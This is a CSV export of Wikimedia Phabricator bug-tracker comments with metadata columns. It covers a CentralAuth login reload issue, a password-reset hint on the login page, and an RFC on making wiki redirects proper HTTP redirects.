+247373,New login.wikimedia system forces a reload on every wiki,"Snowolf: Still an issue, or obsolete? Can you provide more info?",,,1387377972,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+247369,New login.wikimedia system forces a reload on every wiki,"Snowolf: Still an issue, or obsolete? Can you provide more info?",,,1385134124,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0
+247365,New login.wikimedia system forces a reload on every wiki,"(In reply to comment #6 by Snowolf)
+> Will try to get you Headers data and the rest of the required info
+
+Snowolf: Did you have luck / time to do that?",,,1378745041,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+247360,New login.wikimedia system forces a reload on every wiki,"(In reply to comment #6 by Snowolf)
+> Will try to get you Headers data and the rest of the required info
+
+Snowolf: Did you have luck / time to do that?",,,1377620836,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+247353,New login.wikimedia system forces a reload on every wiki,"These are all hours after I actually login, and multiple times during a day on the same wiki (Metawiki, which is the one I usually work on). I mean, it's not like I login, and run into this. I get them at random times all thru ought the day. Will try to get you Headers data and the rest of the required info. I don't think Adblock would do that, as it is in its default config iirc. More likely to be https://addons.mozilla.org/en-US/firefox/addon/donottrackplus/ .",,,1374702269,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,False,,,-5,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0
+247348,New login.wikimedia system forces a reload on every wiki,"That will happen if the code that runs after the initial login can't set the necessary cookies on all the other domains. It's better than how things used to be if the cookies couldn't be set; before you'd have to manually log in on every wiki instead of just reloading.
+
+The way things work now: You log in, it redirects you to login.wikimedia.org, then redirects you back, then redirects you to the page that used to be the ""return to"" link. I guess this part is all working properly for you, since the JS message you're getting depends on that much.
+
+Then, in the footer of that returned-to page, it injects a number of 1x1 pixel images to set the cookies for the other domains. These redirect between the other domain and loginwiki a few times before finally setting the cookie. Presumably something about that is failing.
+* Do you have anything installed that blocks ""web bugs""? For example, I see an Adblock Plus icon in your screenshot, which may be configured to do this.
+* Can you check that these images are actually present? Search the page source for ""1x1"".
+* If you know how to use something like Firefox's Live HTTP Headers addon,[1] capture the headers for a load of one of those images. If you do so, please redact the values of the various *_Token and *_Session cookies before posting the captured headers.
+* A final possibility is that your browser is refusing to set the third-party cookies from the images, even if you've visited the third-party site before.
+
+
+ [1]: https://addons.mozilla.org/en-us/firefox/addon/live-http-headers/",,,1374685767,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+247342,New login.wikimedia system forces a reload on every wiki,"For reference: centralauth-centralautologin-logged-in is the relevant MediaWiki message and SpecialCentralAutoLogin.php is the relevant PHP file that uses it (cf. <https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FCentralAuth.git/dcf1d2c3e7459b2de101941dbd4235acd858172b/specials%2FSpecialCentralAutoLogin.php>).
+
+I'm not quite sure whether there's a bug here or if this is expected behavior.",,,1374684449,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+247339,New login.wikimedia system forces a reload on every wiki,"Created attachment 12945
+Screenshot of post-login notification in the wrong skin advising the user to refresh
+
+**Attached**: {F11628}",,,1374683510,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+247336,New login.wikimedia system forces a reload on every wiki,"https://imageshack.us/a/img835/4162/ydan.png
+
+As you can see, it's vector without any of my custom js. Earlier today, I had it happen even on Meta, with myself being shown as logged out until I refreshed :S",,,1374659841,,PHID-USER-h4ziznimyckbsu4u6jtl,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,False,,,-5,True,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,1,0,0
+247332,New login.wikimedia system forces a reload on every wiki,Odd. Can you provide a screenshot (including the URL bar)?,,,1374563689,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-uxy6h7vz7hi7yprytta7,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,0,0
+53807,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","In case they forget their user names.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal",Medium,50.0,1374496560,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-xndapvgygn6wegu24ann,task_description,open,True,c2,1,False,False,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+244996,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","Ok, updating summary. This is a regression caused by the (mostly) undocumented 1.22 changes to login: https://www.mediawiki.org/wiki/MediaWiki_1.22#Login_and_signup_forms
+
+Up to 1.21, I see ""Forgotten your login details?"" next to the ""Log in"" button. Now the login button consumes all the horizontal space and has ""Keep me logged in"" above it, the newly introduced ""Help with logging in"" below it. I guess the only option is to add a ""Forgot your username?"" next to ""Username"" as done with t the password, in the cases where the space is not taken by the ""Use secure connection"" link.",,,1407159360,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,True,,,48,True,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0
+244988,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","(In reply to Nemo from comment #1)
+> Hint where? I now see on
+> http://en.wikipedia.beta.wmflabs.org/wiki/Special:PasswordReset :
+> 
+> Reset password
+> Fill in one of the fields to receive a temporary password via email.
+> 
+> Username:
+> 
+> Email address:
+
+The background: we (as sysops) have received some requests from users saying that they registered Wikipedia account with some Email address, but forgot the user name. To resolve this, users can (and this is what we can do anyway) use the password reset form and user names are mentioned in Emails for temporary passwords. However users are not told this fact anywhere.",,,1407158828,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,False,,,48,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+244978,"On Special:UserLogin, hint that Special:PasswordReset can also tell username","Hint where? I now see on http://en.wikipedia.beta.wmflabs.org/wiki/Special:PasswordReset :
+
+Reset password
+Fill in one of the fields to receive a temporary password via email.
+
+Username:
+
+Email address:",,,1407158034,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xndapvgygn6wegu24ann,task_subcomment,,True,c2,3,True,,,48,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,0
+53789,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","When attempting to use en.m.wikipedia.org on a desktop browser (tested w/ Chrome 28 and FF 22), I get a red warning message after logging in:
+
+""Central user log in
+
+No active login attempt is in progress for your session.""
+
+This message is displayed via the desktop site and so I have to manually return to mobile mode. It does log me in properly.
+
+This is without beta or dragon mode enabled.
+
+I can't reproduce this behavior on a mobile device, but in addition to causing issues with testing, it might affect tablet users who want to use the mobile site.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1374453600,1381339569.0,PHID-USER-766idcqt4jkngnnuhnrj,False,,False,PHID-TASK-edilmdevcsgm3c52xeqc,task_description,resolved,True,c2,1,False,False,True,-6,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+243880,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Nope, AFAICT this was fixed a while back. Closing.",,,1381339569,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,6,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243873,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","(In reply to comment #7)
+> Unable to replicate. Need more information to proceed with this bug...
+
+Erik: Can you still reproduce this?",,,1380817395,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1
+243867,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""",Unable to replicate. Need more information to proceed with this bug...,,,1380584401,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+243859,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""",*** Bug 54123 has been marked as a duplicate of this bug. ***,,,1379437474,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+243854,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","I think this has been deployed, but I just got a report of it happening on en.m.wikipedia.org this morning on mobile Safari. I'm not able to reproduce it on desktop hitting that domain however",,,1374771855,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,True,,,-5,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+243850,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Change 75155 merged by jenkins-bot:
+Fix CentralAuth logins
+
+https://gerrit.wikimedia.org/r/75155",,,1374692238,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+243847,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Change 75155 had a related patch set uploaded by MaxSem:
+Fix CentralAuth logins
+
+https://gerrit.wikimedia.org/r/75155",,,1374521881,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+243844,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Note that user gets logged in only locally, i.e. CentralAuth login fails.",,,1374517040,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+243838,"Attempting to login on en.m.wikipedia.org in desktop browser shows warning: ""No active login attempt is in progress for your session.""","Cannot confirm for Google Chrome 28. Wasn't logged in and went to en.m.wikipedia.org, logged in, and next page says 
+    Sign in
+    You have successfully signed in to Wikipedia as ""Username"".
+and is served from en.m.wikipedia.org (mobile design).",,,1374485349,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-edilmdevcsgm3c52xeqc,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+53736,Consider changing wikipage redirects to be proper HTTP redirects,"This RFC has been scheduled for public discussion on June 28 (Wednesday) at 21:00 UTC (2pm PDT, 23:00 CEST). As always, the discussion will take place in the IRC channel #wikimedia-office
+
+### Problem statement
+
+Currently `/wiki/Redirect` responds with the Target page, with three notable differences:
+* A ""Redirected from .."" message is rendered.
+* A piece of JavaScript is inserted that will jump to the destination `#Section` (if any).
+* A piece of JavaScript is inserted to normalise the address bar from `/wiki/Redirect` to `/wiki/Target#Section`.
+
+Internals:
+* Page markup (wikitext) refers to the title as specified. – `[[Redirect]]` is saved as-is, no pre-save transformation)
+* Page rendering refers to the title as specified – HTML: `<a href=""/wiki/Redirect"">`
+* When clicking on such link within the wiki, or otherwise navigating ""to"" the redirect, the server responds with a modified version of the response for the target of the redirect.  – `/wiki/Redirect` responds the same as `/wiki/Target`, including a `<link rel=canonical>` specifying `Target` as canonical, and a special header informing the reader ""Redirected from Redirect"".
+* Once the page is rendered, JavaScript does two things:
+ * Jump to the intended section (if any).
+ * Swap the address bar from `/wiki/Redirect` to `/wiki/Target`. This encourages further social sharing to share the canonical link, and makes it so that those other people will not needlessly see ""Redirected from Redirect"" - which doesn't apply to those readers.
+
+Benefits:
+* Parser cache: Changing the redirect does not require invalidating parser cache of incoming links.
+* Performance: ""Following"" a redirect responds quickly (no HTTP redirect).
+* Usability: Users know when they followed a redirect (header message ""Redirected from""), and the message doesn't show for others when you share the link.
+* Search engines: No indexing of duplicate content. (due to canonical url).
+
+Problems:
+* **Redirect  to heading**: When redirecting to a heading on a destination page (e.g. `Topic` redirecting to `General#Topic`), the browser does not natively jump to this heading because it's rendering content at `/wiki/Topic` not `Topic#Topic` or `General#Topic`. This is currently worked around with JavaScript. While this technically works it is bad in two ways:
+ * Performance: The jump happens very late. Sometimes 5-10 seconds after the first paint, because it waits for all content to arrive and all JavaScript to arrive and execute.
+ * Fallback: In our Grade C experience for older (but supported) browsers, the jump never happens.
+ * Fallback: It also means that on supported browsers, the jump doesn't happen if there were intermittent connection issues.
+ * Fallback: There is no recovery for the user when the jump doesn't happen. There is no manual way to get to this information (it's hidden in invisible JSON data)
+
+### Solution 1
+
+Change the response of `/wiki/Redirect` to be an HTTP redirect to `/wiki/Target?rdfrom=Redirect#Section`. When viewing `/wiki/Target?rdfrom=Redirect#Section`, client-side code normalises the address bar to `/wiki/Target#Section`.
+
+This addresses all the problems.
+
+* Drawback: Users will be subject to an HTTP redirect.
+* Benefit (compared to Solution 2): Redirects are instantly up-to-date (no need to wait for job queue).
+
+### Solution 2
+
+Same as solution 1, but in addition, optimise the common case by changing the Parser to resolve to this url ahead of time.
+
+* Benefit: Faster user experience for the common case.
+* Drawback: Updating of urls depends on job queue, similar to template transclusion updates. 
+
+>>! Original task description:
+> 
+> With Javascript disabled/not available:
+> 
+> *Links to sections, works correctly, e.g. [[https://en.wikipedia.org/wiki/Albatross#Biology|Albatross#Biology]] 
+> *Links to sections via a redirect, works correctly, e.g. [[https://en.wikipedia.org/wiki/Beiruit#History|Beiruit#History]] -- ([[Beiruit]] is a redirect to [[Beirut]]).
+> *Links to sections via a redirect to a section, do Not work correctly, e.g. [[https://en.wikipedia.org/wiki/Camden Market Fire|Camden Market Fire]] takes you to the top of the target page but not to the section -- ([[Camden Market Fire]] is a redirect to [[Camden Market#Incidents]])
+> 
+> Fixing this may partially fix the section links issue in {T53122}
+> 
+> See also:
+> * {T144781}
+> * {T37858}
+> * {T20883}
+> * {T37045}
+
+",Medium,50.0,1374310680,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-r6gb722lhiwxiexplfeq,task_description,open,True,c2,1,False,False,,-6,True,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1912142,Consider changing wikipage redirects to be proper HTTP redirects,,,,1651959516,,PHID-USER-ypvzxz55swivqnsz34na,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,453,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1912141,Consider changing wikipage redirects to be proper HTTP redirects,,,,1651959469,,PHID-USER-ypvzxz55swivqnsz34na,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,453,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+1127465,Consider changing wikipage redirects to be proper HTTP redirects,"This was one of the older RFCs that we approved before we were stricter about ownership and commitment. The redirect system has no current owner listed on [mediawiki.org](https://www.mediawiki.org/wiki/Developers/Maintainers). 
+
+Tagging #reading-infrastructure-team-backlog and #core-platform-team for potential interest. If claimed, you'd basically have the ability to choose to accept the change from a product perspective  (and decide on its priority, doesn't need to be soon), or to decline the change (closing the task).",,,1534971671,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,True,,,260,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+893632,Consider changing wikipage redirects to be proper HTTP redirects,"Since no objections have been raised during the last call period, this RFC has been approved for implementation.
+
+It seems that there is no resourcing for this at the moment. It could perhaps be picked up by Readers or by Platform.",,,1499959033,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,202,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+893625,Consider changing wikipage redirects to be proper HTTP redirects,"Since no objections have been raised during the last call period, this RFC has been approved for implementation.",,,1499958622,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,202,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+886769,Consider changing wikipage redirects to be proper HTTP redirects,"Maybe this advantage has been mentioned as //SEO// already, but stating it explicitly:
+Machine-understanding of HTTP redirects does not require any advanced parsing.",,,1499123751,,PHID-USER-zypu533gadta5o4pukhy,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+885404,Consider changing wikipage redirects to be proper HTTP redirects,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.
+
+Option 1 was identified as a good first step, with the option to implement Option 2 or other optimizations later, if they prove necessary.
+
+IRC log: https://tools.wmflabs.org/meetbot/wikimedia-office/2017/wikimedia-office.2017-06-28-21.00.log.html",,,1498824920,,PHID-USER-5dqihbanu3caaj7pigif,False,,,PHID-TASK-r6gb722lhiwxiexplfeq,task_subcomment,,True,c2,3,False,,,200,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+885400,Consider changing wikipage redirects to be proper HTTP redirects,"During the RFC discussion on June 28, it was agreed that this RFC be put on Final Call: if no new pertinent concerns are raised and remain open by July 12, this RFC will be approved for implementation.
+
